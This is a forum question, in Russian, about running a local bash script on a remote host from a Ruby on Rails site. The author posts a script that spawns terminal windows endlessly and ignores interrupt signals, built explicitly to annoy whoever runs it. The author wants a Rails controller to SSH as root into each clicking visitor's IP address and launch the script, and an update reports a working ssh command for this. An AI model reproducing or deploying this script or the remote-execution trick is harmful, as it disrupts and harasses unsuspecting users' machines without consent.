Запустите локальный скрипт bash на удаленном хосте - PullRequest
0 голосов
/ 03 ноября 2018

У меня есть этот bash-скрипт, который многократно открывает терминал без возможности их закрытия и сохраняет один за другим. Цель состоит в том, чтобы раздражать любого, кто выполнил эту программу. Вот его исходный код:

#!/bin/bash
while true

do
  gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
  clear
  sleep 1
  trap '' 2
  exit
done

Я проверил это, и оно работает так, как я хочу. Я пытаюсь выполнить этот скрипт на удаленном хосте. На сайте ruby ​​on rails я установил изображение, чтобы попытаться запустить этот скрипт, нажав на него. Когда кто-то делает это, он запускает функцию контроллера call_script2, и вот что у меня есть:

def call_script2
   remote_ip = request.ip
   #system("scp /home/ncs/<script.sh> root@#{remote_ip}:/root/")
   system("ssh root@#{remote_ip} sudo home/ncs/./<script.sh>")
   render 'script/index'
end

Я пытаюсь выполнить содержимое сценария bash на удаленном хосте, когда они нажимают на определенное изображение. Как вы можете видеть, я попытался загрузить скрипт хоста в корневой каталог, а затем попытался запустить программу bash безуспешно. Я прекрасно использую что-то кроме SSH, если не смог.

Пожалуйста, не стесняйтесь поделиться своими мыслями по этому поводу и спасибо, что нашли время, чтобы прочитать мой пост. Хорошего дня!

Обновление: мне удалось достичь этой цели с помощью следующего:

    system("ssh -t root@#{remote_ip} DISPLAY=:0 ./Thorgrim.sh")

Спасибо всем, кто прокомментировал этот пост, чтобы выручить меня!

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...